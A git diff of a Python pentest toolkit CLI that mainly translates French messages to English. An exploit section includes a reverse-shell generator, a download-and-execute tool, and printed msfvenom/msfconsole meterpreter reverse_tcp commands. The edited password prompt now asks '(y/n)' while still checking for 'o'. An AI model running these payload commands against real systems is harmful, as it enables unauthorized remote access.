param = "tracert" if sys.platform == "win32" else "traceroute"
result = subprocess.run([param, shlex.quote(target)], capture_output=True, text=True, timeout=30)
print(f"{C.WHITE}{result.stdout[:2000]}{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
TOOL_FUNCTIONS["traceroute"] = tool_traceroute
# ═══════════════════════════════════════════
-# RÉSEAU
+# NETWORK
# ═══════════════════════════════════════════
def tool_myip():
clear()
- print(f"{C.WHITE}[*] Mon IP Publique{C.RESET}\n")
+ print(f"{C.WHITE}[*] My Public IP{C.RESET}\n")
my_ip = get_my_ip()
if not my_ip:
- print(f"{C.GRAY}[!] Impossible de récupérer mon IP{C.RESET}")
+ print(f"{C.GRAY}[!] Could not retrieve my IP{C.RESET}")
pause()
return
- print(f"{C.WHITE}[+] IP Publique: {C.WHITE}{my_ip}{C.RESET}\n")
+ print(f"{C.WHITE}[+] Public IP: {C.WHITE}{my_ip}{C.RESET}\n")
try:
result = subprocess.run(["curl", "-s", f"ipinfo.io/{my_ip}/json"],
@@ -449,7 +440,7 @@ def tool_myip():
if data.get("ip"):
print(f"{C.WHITE}[+] Ville: {C.WHITE}{data.get('city', 'N/A')}{C.RESET}")
- print(f"{C.WHITE}[+] Région: {C.WHITE}{data.get('region', 'N/A')}{C.RESET}")
+ print(f"{C.WHITE}[+] Region: {C.WHITE}{data.get('region', 'N/A')}{C.RESET}")
print(f"{C.WHITE}[+] Pays: {C.WHITE}{data.get('country', 'N/A')}{C.RESET}")
print(f"{C.WHITE}[+] ISP: {C.WHITE}{data.get('org', 'N/A')}{C.RESET}")
print(f"{C.WHITE}[+] Timezone: {C.WHITE}{data.get('timezone', 'N/A')}{C.RESET}")
@@ -462,20 +453,20 @@ def tool_myip():
def tool_iplocale():
clear()
- print(f"{C.WHITE}[*] Mon IP Locale{C.RESET}\n")
+ print(f"{C.WHITE}[*] My Local IP{C.RESET}\n")
try:
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
- print(f"{C.WHITE}[+] Hôte: {C.WHITE}{hostname}{C.RESET}")
- print(f"{C.WHITE}[+] IP Locale: {C.WHITE}{local_ip}{C.RESET}")
+ print(f"{C.WHITE}[+] Host: {C.WHITE}{hostname}{C.RESET}")
+ print(f"{C.WHITE}[+] Local IP: {C.WHITE}{local_ip}{C.RESET}")
my_local = get_my_local_ip()
if my_local != local_ip:
print(f"{C.WHITE}[+] IP (iface): {C.WHITE}{my_local}{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -483,10 +474,10 @@ def tool_iplocale():
def tool_allips():
clear()
- print(f"{C.WHITE}[*] Toutes mes IPs{C.RESET}\n")
+ print(f"{C.WHITE}[*] All My IPs{C.RESET}\n")
hostname = socket.gethostname()
- print(f"{C.WHITE}[+] Hôte: {C.WHITE}{hostname}{C.RESET}\n")
+ print(f"{C.WHITE}[+] Host: {C.WHITE}{hostname}{C.RESET}\n")
try:
result = subprocess.check_output(["ip", "addr"], text=True)
@@ -505,14 +496,14 @@ def tool_allips():
if p == "inet":
print(f"{C.WHITE}[+] {C.WHITE}{parts[i+1]}{C.RESET}")
except:
- print(f"{C.GRAY}[!] Commandes réseau non disponibles{C.RESET}")
+ print(f"{C.GRAY}[!] Network commands not available{C.RESET}")
print()
public = get_my_ip()
if public:
- print(f"{C.WHITE}[+] IP Publique: {C.WHITE}{public}{C.RESET}")
+ print(f"{C.WHITE}[+] Public IP: {C.WHITE}{public}{C.RESET}")
else:
- print(f"{C.GRAY}[i] IP publique non disponible{C.RESET}")
+ print(f"{C.GRAY}[i] Public IP not available{C.RESET}")
pause()
@@ -520,14 +511,14 @@ def tool_allips():
def tool_gateway():
clear()
- print(f"{C.WHITE}[*] Passerelle (Gateway){C.RESET}\n")
+ print(f"{C.WHITE}[*] Gateway{C.RESET}\n")
try:
result = subprocess.check_output(["ip", "route", "show", "default"], text=True)
parts = result.split()
if len(parts) >= 3:
gw = parts[2]
- print(f"{C.WHITE}[+] Passerelle: {C.WHITE}{gw}{C.RESET}")
+ print(f"{C.WHITE}[+] Gateway: {C.WHITE}{gw}{C.RESET}")
try:
hostname = socket.gethostbyaddr(gw)[0]
@@ -535,27 +526,27 @@ def tool_gateway():
except:
pass
else:
- raise ValueError("Format inattendu")
+ raise ValueError("Unexpected format")
except:
try:
result = subprocess.check_output(["route", "-n"], text=True)
for line in result.split("\n"):
if "UG" in line:
parts = line.split()
- print(f"{C.WHITE}[+] Passerelle: {C.WHITE}{parts[1]}{C.GRAY} (iface: {parts[-1]}){C.RESET}")
+ print(f"{C.WHITE}[+] Gateway: {C.WHITE}{parts[1]}{C.GRAY} (iface: {parts[-1]}){C.RESET}")
except:
- print(f"{C.GRAY}[!] Impossible de récupérer la passerelle{C.RESET}")
+ print(f"{C.GRAY}[!] Could not retrieve gateway{C.RESET}")
print()
- print(f"{C.GRAY}[*] Test de connectivité:{C.RESET}")
+ print(f"{C.GRAY}[*] Connectivity test:{C.RESET}")
try:
result = subprocess.run(["ping", "-c", "1", "-W", "1", "8.8.8.8"], capture_output=True)
if result.returncode == 0:
- print(f"{C.WHITE}[+] Connexion internet: OK{C.RESET}")
+ print(f"{C.WHITE}[+] Internet: OK{C.RESET}")
else:
- print(f"{C.GRAY}[!] Connexion internet: ÉCHEC{C.RESET}")
+ print(f"{C.GRAY}[!] Internet: FAILED{C.RESET}")
except:
- print(f"{C.GRAY}[!] Test impossible{C.RESET}")
+ print(f"{C.GRAY}[!] Test failed{C.RESET}")
pause()
@@ -563,18 +554,18 @@ def tool_gateway():
def tool_checkport():
clear()
- print(f"{C.WHITE}[*] Vérifier port{C.RESET}\n")
+ print(f"{C.WHITE}[*] Check port{C.RESET}\n")
target = get_input_ip("IP cible")
if not target:
- print(f"{C.GRAY}[!] IP invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid IP{C.RESET}")
pause()
return
try:
port = int(get_input("Port"))
except ValueError:
- print(f"{C.GRAY}[!] Port invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid port{C.RESET}")
pause()
return
@@ -582,9 +573,9 @@ def tool_checkport():
sock.settimeout(2)
if sock.connect_ex((target, port)) == 0:
- print(f"\n{C.WHITE}[+] Port {port} sur {target} est OUVERT{C.RESET}")
+ print(f"\n{C.WHITE}[+] Port {port} on {target} is OPEN{C.RESET}")
else:
- print(f"\n{C.GRAY}[!] Port {port} sur {target} est FERMÉ{C.RESET}")
+ print(f"\n{C.GRAY}[!] Port {port} on {target} is CLOSED{C.RESET}")
sock.close()
pause()
@@ -597,16 +588,16 @@ def tool_rawping():
target = get_input_domain("IP ou Domaine")
if not target:
- print(f"{C.GRAY}[!] Cible invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid target{C.RESET}")
pause()
return
try:
param = "-n" if sys.platform == "win32" else "-c"
- count = get_input("Nombre de paquets (défaut: 4)") or "4"
+ count = get_input("Number of packets (default: 4)") or "4"
subprocess.run(["ping", param, count, target], timeout=30)
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -614,7 +605,7 @@ def tool_rawping():
def tool_netcalc():
clear()
- print(f"{C.WHITE}[*] Calculatrice réseau{C.RESET}\n")
+ print(f"{C.WHITE}[*] Network calculator{C.RESET}\n")
try:
ip = get_input("Adresse IP (ex: 192.168.1.1)")
@@ -630,14 +621,14 @@ def tool_netcalc():
def itoa(i):
return f"{(i >> 24) & 255}.{(i >> 16) & 255}.{(i >> 8) & 255}.{i & 255}"
- print(f"\n{C.WHITE}[+] Réseau: {C.WHITE}{itoa(network)}/{cidr}{C.RESET}")
+ print(f"\n{C.WHITE}[+] Network: {C.WHITE}{itoa(network)}/{cidr}{C.RESET}")
print(f"{C.WHITE}[+] Broadcast: {C.WHITE}{itoa(broadcast)}{C.RESET}")
print(f"{C.WHITE}[+] Masque: {C.WHITE}{itoa(mask_int)}{C.RESET}")
- print(f"{C.WHITE}[+] Première IP: {C.WHITE}{itoa(network + 1)}{C.RESET}")
- print(f"{C.WHITE}[+] Dernière IP: {C.WHITE}{itoa(broadcast - 1)}{C.RESET}")
+ print(f"{C.WHITE}[+] First IP: {C.WHITE}{itoa(network + 1)}{C.RESET}")
+ print(f"{C.WHITE}[+] Last IP: {C.WHITE}{itoa(broadcast - 1)}{C.RESET}")
print(f"{C.WHITE}[+] Nombre IPs: {C.WHITE}{2**(32-int(cidr))}{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -647,29 +638,29 @@ def tool_netdiscover():
clear()
print(f"{C.WHITE}[*] Netdiscover{C.RESET}\n")
- print(f"{C.GRAY}[*] Vérification de netdiscover...{C.RESET}\n")
+ print(f"{C.GRAY}[*] Checking netdiscover...{C.RESET}\n")
result = subprocess.run(["which", "netdiscover"], capture_output=True, text=True)
if result.returncode == 0:
- print(f"{C.WHITE}[+] Netdiscover installé{C.RESET}\n")
+ print(f"{C.WHITE}[+] Netdiscover installed{C.RESET}\n")
- iface = get_input("Interface réseau (défaut: eth0)") or "eth0"
+ iface = get_input("Network interface (default: eth0)") or "eth0"
- print(f"\n{C.GRAY}[*] Scan ARP en cours sur {iface}...{C.RESET}")
- print(f"{C.GRAY}[*] Ctrl+C pour arrêter{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] ARP scan in progress on {iface}...{C.RESET}")
+ print(f"{C.GRAY}[*] Ctrl+C to stop{C.RESET}\n")
try:
subprocess.run(["netdiscover", "-i", iface, "-r", "0.0.0.0/24"], timeout=60)
except KeyboardInterrupt:
- print(f"\n{C.WHITE}[!] Scan arrêté{C.RESET}")
+ print(f"\n{C.WHITE}[!] Scan stopped{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
else:
- print(f"{C.GRAY}[!] Netdiscover non installé{C.RESET}\n")
+ print(f"{C.GRAY}[!] Netdiscover not installed{C.RESET}\n")
install = input(f"{C.WHITE}[?] Voulez-vous l'installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ if install == "y":
print(f"\n{C.GRAY}[*] Installation de netdiscover...{C.RESET}\n")
try:
if os.path.exists("/etc/debian_version"):
@@ -680,15 +671,15 @@ def tool_netdiscover():
elif os.path.exists("/etc/fedora-release"):
subprocess.run(["sudo", "dnf", "install", "-y", "netdiscover"], check=True)
else:
- print(f"{C.WHITE}[!] Distribution non reconnue, installez manuellement{C.RESET}")
+ print(f"{C.WHITE}[!] Unknown distribution, install manually{C.RESET}")
print(f"{C.GRAY} Ubuntu/Debian: sudo apt install netdiscover{C.RESET}")
print(f"{C.GRAY} Arch: sudo pacman -S netdiscover{C.RESET}")
print(f"{C.GRAY} Fedora: sudo dnf install netdiscover{C.RESET}")
- print(f"\n{C.WHITE}[+] Installation terminée{C.RESET}")
+ print(f"\n{C.WHITE}[+] Installation complete{C.RESET}")
print(f"{C.GRAY}[*] Relancez l'outil pour l'utiliser{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur d'installation: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Installation error: {e}{C.RESET}")
else:
print(f"\n{C.GRAY}[*] Commandes d'installation manuelle:{C.RESET}")
print(f"{C.WHITE} sudo apt install netdiscover{C.RESET}")
@@ -701,35 +692,35 @@ def tool_wireshark():
clear()
print(f"{C.WHITE}[*] Wireshark{C.RESET}\n")
- print(f"{C.GRAY}[*] Vérification de Wireshark...{C.RESET}\n")
+ print(f"{C.GRAY}[*] Checking Wireshark...{C.RESET}\n")
result = subprocess.run(["which", "wireshark"], capture_output=True, text=True)
if result.returncode == 0:
- print(f"{C.WHITE}[+] Wireshark installé{C.RESET}")
+ print(f"{C.WHITE}[+] Wireshark installed{C.RESET}")
print(f"{C.WHITE}[*] Lancement de Wireshark en terminal...{C.RESET}")
print(f"{C.GRAY}[*] Interface: TShark (version terminal de Wireshark){C.RESET}\n")
- iface = get_input("Interface réseau (défaut: eth0)") or "eth0"
+ iface = get_input("Network interface (default: eth0)") or "eth0"
try:
subprocess.run(["tshark", "-i", iface, "-c", "100"], timeout=30)
except KeyboardInterrupt:
- print(f"\n{C.WHITE}[!] Capture arrêtée{C.RESET}")
+ print(f"\n{C.WHITE}[!] Capture stopped{C.RESET}")
except FileNotFoundError:
- print(f"{C.GRAY}[!] TShark non trouvé, utilisation de tcpdump{C.RESET}")
- print(f"{C.GRAY}[*] Capture avec tcpdump... (Ctrl+C pour arrêter){C.RESET}\n")
+ print(f"{C.GRAY}[!] TShark not found, using tcpdump{C.RESET}")
+ print(f"{C.GRAY}[*] Capture with tcpdump... (Ctrl+C to stop){C.RESET}\n")
try:
subprocess.run(["tcpdump", "-i", iface, "-c", "50"])
except KeyboardInterrupt:
- print(f"\n{C.WHITE}[!] Capture arrêtée{C.RESET}")
+ print(f"\n{C.WHITE}[!] Capture stopped{C.RESET}")
except FileNotFoundError:
- print(f"{C.GRAY}[!] tcpdump non installé{C.RESET}")
+ print(f"{C.GRAY}[!] tcpdump not installed{C.RESET}")
else:
- print(f"{C.GRAY}[!] Wireshark non installé{C.RESET}\n")
+ print(f"{C.GRAY}[!] Wireshark not installed{C.RESET}\n")
install = input(f"{C.WHITE}[?] Voulez-vous l'installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ if install == "y":
print(f"\n{C.GRAY}[*] Installation de Wireshark...{C.RESET}\n")
try:
if os.path.exists("/etc/debian_version"):
@@ -740,14 +731,14 @@ def tool_wireshark():
elif os.path.exists("/etc/fedora-release"):
subprocess.run(["sudo", "dnf", "install", "-y", "wireshark-cli", "tcpdump"], check=True)
else:
- print(f"{C.WHITE}[!] Distribution non reconnue, installez manuellement{C.RESET}")
+ print(f"{C.WHITE}[!] Unknown distribution, install manually{C.RESET}")
print(f"{C.GRAY} Ubuntu/Debian: sudo apt install wireshark tshark tcpdump{C.RESET}")
print(f"{C.GRAY} Arch: sudo pacman -S wireshark-cli tcpdump{C.RESET}")
print(f"{C.GRAY} Fedora: sudo dnf install wireshark-cli tcpdump{C.RESET}")
- print(f"\n{C.WHITE}[+] Installation terminée{C.RESET}")
+ print(f"\n{C.WHITE}[+] Installation complete{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur d'installation: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Installation error: {e}{C.RESET}")
else:
print(f"\n{C.GRAY}[*] Commandes d'installation manuelle:{C.RESET}")
print(f"{C.WHITE} sudo apt install wireshark tshark tcpdump{C.RESET}")
@@ -757,21 +748,21 @@ def tool_wireshark():
TOOL_FUNCTIONS["wireshark"] = tool_wireshark
# ═══════════════════════════════════════════
-# CRYPTOGRAPHIE
+# CRYPTO
# ═══════════════════════════════════════════
def tool_password():
clear()
- print(f"{C.GRAY}[*] Générateur de mot de passe{C.RESET}\n")
+ print(f"{C.GRAY}[*] Password Generator{C.RESET}\n")
try:
- length = int(get_input("Longueur (défaut: 16)") or "16")
+ length = int(get_input("Length (default: 16)") or "16")
except ValueError:
- print(f"{C.GRAY}[!] Longueur invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid length{C.RESET}")
pause()
return
- use_special = get_input("Caractères spéciaux ? (o/n)").lower() == "o"
+ use_special = get_input("Special characters? (y/n)").lower() == "o"
chars = string.ascii_letters + string.digits
if use_special:
@@ -779,7 +770,7 @@ def tool_password():
password = ''.join(random.choice(chars) for _ in range(length))
- print(f"\n{C.WHITE}[+] Mot de passe: {C.WHITE}{password}{C.RESET}")
+ print(f"\n{C.WHITE}[+] Password: {C.WHITE}{password}{C.RESET}")
strength = "Faible"
if length >= 12:
@@ -787,7 +778,7 @@ def tool_password():
if length >= 16 and use_special:
strength = "Fort"
if length >= 20 and use_special:
- strength = "Très fort"
+ strength = "Very strong"
print(f"{C.GRAY}[*] Force: {strength}{C.RESET}")
pause()
@@ -798,9 +789,9 @@ def tool_md5():
clear()
print(f"{C.GRAY}[*] Hash MD5{C.RESET}\n")
- text = get_input("Texte à hasher")
+ text = get_input("Text to hash")
if not text:
- print(f"{C.GRAY}[!] Texte invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid text{C.RESET}")
pause()
return
@@ -814,9 +805,9 @@ def tool_sha256():
clear()
print(f"{C.GRAY}[*] Hash SHA256{C.RESET}\n")
- text = get_input("Texte à hasher")
+ text = get_input("Text to hash")
if not text:
- print(f"{C.GRAY}[!] Texte invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid text{C.RESET}")
pause()
return
@@ -828,11 +819,11 @@ def tool_sha256():
def tool_filehash():
clear()
- print(f"{C.GRAY}[*] Hash de fichier{C.RESET}\n")
+ print(f"{C.GRAY}[*] File Hash{C.RESET}\n")
filepath = get_input("Chemin du fichier")
if not filepath or not os.path.exists(filepath):
- print(f"{C.GRAY}[!] Fichier introuvable{C.RESET}")
+ print(f"{C.GRAY}[!] File not found{C.RESET}")
pause()
return
@@ -845,11 +836,11 @@ def tool_filehash():
md5.update(chunk)
sha256.update(chunk)
- print(f"\n{C.WHITE}[+] Fichier: {C.WHITE}{filepath}{C.RESET}")
+ print(f"\n{C.WHITE}[+] File: {C.WHITE}{filepath}{C.RESET}")
print(f"{C.GRAY} MD5: {C.WHITE}{md5.hexdigest()}{C.RESET}")
print(f"{C.GRAY} SHA256: {C.WHITE}{sha256.hexdigest()}{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -859,14 +850,14 @@ def tool_b64e():
clear()
print(f"{C.GRAY}[*] Base64 Encode{C.RESET}\n")
- text = get_input("Texte à encoder")
+ text = get_input("Text to encode")
if not text:
- print(f"{C.GRAY}[!] Texte invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid text{C.RESET}")
pause()
return
encoded = base64.b64encode(text.encode()).decode()
- print(f"\n{C.WHITE}[+] Encodé: {C.WHITE}{encoded}{C.RESET}")
+ print(f"\n{C.WHITE}[+] Encoded: {C.WHITE}{encoded}{C.RESET}")
pause()
TOOL_FUNCTIONS["b64e"] = tool_b64e
@@ -875,15 +866,15 @@ def tool_b64d():
clear()
print(f"{C.GRAY}[*] Base64 Decode{C.RESET}\n")
- text = get_input("Texte à décoder")
+ text = get_input("Text to decode")
if not text:
- print(f"{C.GRAY}[!] Texte invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid text{C.RESET}")
pause()
return
try:
decoded = base64.b64decode(text.encode()).decode()
- print(f"\n{C.WHITE}[+] Décodé: {C.WHITE}{decoded}{C.RESET}")
+ print(f"\n{C.WHITE}[+] Decoded: {C.WHITE}{decoded}{C.RESET}")
except Exception:
print(f"{C.GRAY}[!] Décodage impossible{C.RESET}")
@@ -896,14 +887,14 @@ def tool_urle():
print(f"{C.GRAY}[*] URL Encode{C.RESET}\n")
from urllib.parse import quote
- text = get_input("Texte à encoder")
+ text = get_input("Text to encode")
if not text:
- print(f"{C.GRAY}[!] Texte invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid text{C.RESET}")
pause()
return
encoded = quote(text)
- print(f"\n{C.WHITE}[+] Encodé: {C.WHITE}{encoded}{C.RESET}")
+ print(f"\n{C.WHITE}[+] Encoded: {C.WHITE}{encoded}{C.RESET}")
pause()
TOOL_FUNCTIONS["urle"] = tool_urle
@@ -913,15 +904,15 @@ def tool_urld():
print(f"{C.GRAY}[*] URL Decode{C.RESET}\n")
from urllib.parse import unquote
- text = get_input("Texte à décoder")
+ text = get_input("Text to decode")
if not text:
- print(f"{C.GRAY}[!] Texte invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid text{C.RESET}")
pause()
return
try:
decoded = unquote(text)
- print(f"\n{C.WHITE}[+] Décodé: {C.WHITE}{decoded}{C.RESET}")
+ print(f"\n{C.WHITE}[+] Decoded: {C.WHITE}{decoded}{C.RESET}")
except Exception:
print(f"{C.GRAY}[!] Décodage impossible{C.RESET}")
@@ -930,12 +921,12 @@ def tool_urld():
TOOL_FUNCTIONS["urld"] = tool_urld
# ═══════════════════════════════════════════
-# SYSTÈME
+# SYSTEM
# ═══════════════════════════════════════════
def tool_sysinfo():
clear()
- print(f"{C.WHITE}[*] Informations système{C.RESET}\n")
+ print(f"{C.WHITE}[*] System information{C.RESET}\n")
try:
uname = subprocess.check_output(["uname", "-a"], text=True)
@@ -945,7 +936,7 @@ def tool_sysinfo():
try:
hostname = socket.gethostname()
- print(f"{C.WHITE}[+] Hôte: {C.WHITE}{hostname}{C.RESET}")
+ print(f"{C.WHITE}[+] Host: {C.WHITE}{hostname}{C.RESET}")
except:
pass
@@ -957,7 +948,7 @@ def tool_sysinfo():
try:
mem = subprocess.check_output(["free", "-h"], text=True)
- print(f"{C.WHITE}[i] Mémoire:{C.RESET}\n{C.WHITE}{mem}{C.RESET}")
+ print(f"{C.WHITE}[i] Memory:{C.RESET}\n{C.WHITE}{mem}{C.RESET}")
except:
pass
@@ -975,10 +966,10 @@ def tool_lsdir():
clear()
print(f"{C.WHITE}[*] Liste fichiers{C.RESET}\n")
- path = get_input("Répertoire (défaut: .)") or "."
+ path = get_input("Directory (default: .)") or "."
if not os.path.exists(path):
- print(f"{C.GRAY}[!] Répertoire introuvable{C.RESET}")
+ print(f"{C.GRAY}[!] Directory not found{C.RESET}")
pause()
return
@@ -994,32 +985,32 @@ def tool_lsdir():
size = os.path.getsize(full)
print(f" {C.GRAY}{item} ({size} octets)")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
TOOL_FUNCTIONS["lsdir"] = tool_lsdir
# ═══════════════════════════════════════════
-# EXPLOITATION
+# EXPLOIT
# ═══════════════════════════════════════════
def tool_revshell():
clear()
print(f"{C.GRAY}[*] Reverse Shell Generator{C.RESET}\n")
- print(f"{C.GRAY}Attention: Utiliser uniquement pour des tests autorisés{C.RESET}\n")
+ print(f"{C.GRAY}Warning: Use only for authorized testing{C.RESET}\n")
ip = get_input("Ton IP (LHOST)")
if not ip:
- print(f"{C.GRAY}[!] IP invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid IP{C.RESET}")
pause()
return
try:
port = int(get_input("Port (LPORT)"))
except ValueError:
- print(f"{C.GRAY}[!] Port invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid port{C.RESET}")
pause()
return
@@ -1046,9 +1037,9 @@ def tool_encpayload():
clear()
print(f"{C.GRAY}[*] Encoder Payload{C.RESET}\n")
- payload = get_input("Payload à encoder")
+ payload = get_input("Payload to encode")
if not payload:
- print(f"{C.GRAY}[!] Payload invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid payload{C.RESET}")
pause()
return
@@ -1067,7 +1058,7 @@ def tool_encpayload():
print(f"\n{C.WHITE}[+] Decoder (Python):{C.RESET}")
print(f" {C.GRAY}python3 -c \"import base64;print(base64.b64decode('{encoded}').decode())\"{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -1077,15 +1068,15 @@ def tool_decpayload():
clear()
print(f"{C.GRAY}[*] Décoder Payload{C.RESET}\n")
- encoded = get_input("Texte encodé en Base64")
+ encoded = get_input("Base64 encoded text")
if not encoded:
- print(f"{C.GRAY}[!] Texte invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid text{C.RESET}")
pause()
return
try:
decoded = base64.b64decode(encoded.encode()).decode()
- print(f"\n{C.WHITE}[+] Décodé:{C.RESET}")
+ print(f"\n{C.WHITE}[+] Decoded:{C.RESET}")
print(f" {C.WHITE}{decoded}{C.RESET}")
except Exception as e:
print(f"{C.GRAY}[!] Décodage impossible: {e}{C.RESET}")
@@ -1096,26 +1087,26 @@ def tool_decpayload():
def tool_httpserver():
clear()
- print(f"{C.GRAY}[*] Serveur HTTP{C.RESET}\n")
+ print(f"{C.GRAY}[*] HTTP Server{C.RESET}\n")
- port = get_input("Port (défaut: 8000)") or "8000"
- directory = get_input("Répertoire (défaut: .)") or "."
+ port = get_input("Port (default: 8000)") or "8000"
+ directory = get_input("Directory (default: .)") or "."
if not os.path.exists(directory):
- print(f"{C.GRAY}[!] Répertoire introuvable{C.RESET}")
+ print(f"{C.GRAY}[!] Directory not found{C.RESET}")
pause()
return
- print(f"\n{C.WHITE}[*] Serveur démarré sur http://0.0.0.0:{port}{C.RESET}")
- print(f"{C.GRAY}[*] Ctrl+C pour arrêter{C.RESET}\n")
+ print(f"\n{C.WHITE}[*] Server started on http://0.0.0.0:{port}{C.RESET}")
+ print(f"{C.GRAY}[*] Ctrl+C to stop{C.RESET}\n")
try:
os.chdir(directory)
subprocess.run(["python3", "-m", "http.server", port])
except KeyboardInterrupt:
- print(f"\n{C.WHITE}[!] Serveur arrêté{C.RESET}")
+ print(f"\n{C.WHITE}[!] Server stopped{C.RESET}")
except Exception as e:
- print(f"{C.GRAY}[!] Erreur: {e}{C.RESET}")
+ print(f"{C.GRAY}[!] Error: {e}{C.RESET}")
pause()
@@ -1125,11 +1116,11 @@ def tool_dllexec():
clear()
print(f"{C.GRAY}[*] Download & Execute{C.RESET}\n")
- print(f"{C.GRAY}Attention: Utiliser uniquement pour des tests autorisés{C.RESET}\n")
+ print(f"{C.GRAY}Warning: Use only for authorized testing{C.RESET}\n")
url = get_input("URL du fichier")
if not url:
- print(f"{C.GRAY}[!] URL invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid URL{C.RESET}")
pause()
return
@@ -1155,18 +1146,18 @@ def tool_msfgen():
clear()
print(f"{C.GRAY}[*] Metasploit One-Liner Generator{C.RESET}\n")
- print(f"{C.GRAY}Attention: Utiliser uniquement pour des tests autorisés{C.RESET}\n")
+ print(f"{C.GRAY}Warning: Use only for authorized testing{C.RESET}\n")
ip = get_input("LHOST (ton IP)")
if not ip:
- print(f"{C.GRAY}[!] IP invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid IP{C.RESET}")
pause()
return
try:
- port = int(get_input("LPORT (défaut: 4444)") or "4444")
+ port = int(get_input("LPORT (default: 4444)") or "4444")
except ValueError:
- print(f"{C.GRAY}[!] Port invalide{C.RESET}")
+ print(f"{C.GRAY}[!] Invalid port{C.RESET}")
pause()
return
@@ -1174,17 +1165,17 @@ def tool_msfgen():
print(f"{C.WHITE}[Linux x64]{C.RESET}")
msf1 = f"msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf -o shell.elf"
- print(f" {C.GRAY}Génération: {msf1}{C.RESET}")
+ print(f" {C.GRAY} Generated: {msf1}{C.RESET}")
print(f" {C.WHITE}msfconsole -q -x 'use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST {ip}; set LPORT {port}; run'{C.RESET}")
print(f"\n{C.WHITE}[Windows x64]{C.RESET}")
msf2 = f"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe -o shell.exe"
- print(f" {C.GRAY}Génération: {msf2}{C.RESET}")
+ print(f" {C.GRAY} Generated: {msf2}{C.RESET}")
print(f" {C.WHITE}msfconsole -q -x 'use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST {ip}; set LPORT {port}; run'{C.RESET}")
print(f"\n{C.WHITE}[Python]{C.RESET}")
msf3 = f"msfvenom -p python/meterpreter/reverse_tcp LHOST={ip} LPORT={port}"
- print(f" {C.GRAY}Génération: {msf3}{C.RESET}")
+ print(f" {C.GRAY} Generated: {msf3}{C.RESET}")
pause()
@@ -1199,7 +1190,7 @@ def check_install(command):
return result.returncode == 0
def install_tool(command, apt_name):
- print(f"{C.GRAY}[*] Installation de {command}...{C.RESET}\n")
+ print(f"{C.GRAY}[*] Installing {command}...{C.RESET}\n")
try:
if os.path.exists("/etc/debian_version"):
subprocess.run(["sudo", "apt", "update"], check=True)
@@ -1219,13 +1210,13 @@ def tool_nmap():
print(f"{C.GRAY}[*] Nmap{C.RESET}\n")
if not check_install("nmap"):
- print(f"{C.GRAY}[!] Nmap non installé{C.RESET}\n")
- install = input(f"{C.WHITE}[?] Installer ? (o/n): {C.RESET}").strip().lower()
- if install == "o":
+ print(f"{C.GRAY}[!] Nmap not installed{C.RESET}\n")
+ install = input(f"{C.WHITE}[?] install ? (y/n): {C.RESET}").strip().lower()
+ if install == "y":
if install_tool("nmap", "nmap"):
- print(f"{C.WHITE}[+] Installation terminée{C.RESET}\n")
+ print(f"{C.WHITE}[+] Installation complete{C.RESET}\n")
else:
- print(f"{C.GRAY}[!] Installation échouée{C.RESET}")
+ print(f"{C.GRAY}[!] Installation failed{C.RESET}")
pause()
return
else:
@@ -1237,29 +1228,24 @@ def tool_nmap():
pause()
return
- print(f"\n{C.GRAY}[*] Scan en cours...{C.RESET}\n")
+ print(f"\n{C.GRAY}[*] Scanning...{C.RESET}\n")
- print(f"{C.GRAY}Types de scan:{C.RESET}")
- print(f"{C.WHITE}[1]{C.RESET} Scan rapide (-F)")
- print(f"{C.WHITE}[2]{C.RESET} Scan complet (-A)")
- print(f"{C.WHITE}[3]{C.RESET} Scan SYN (-sS)")
- print(f"{C.WHITE}[4]{C.RESET} Scan UDP (-sU)")
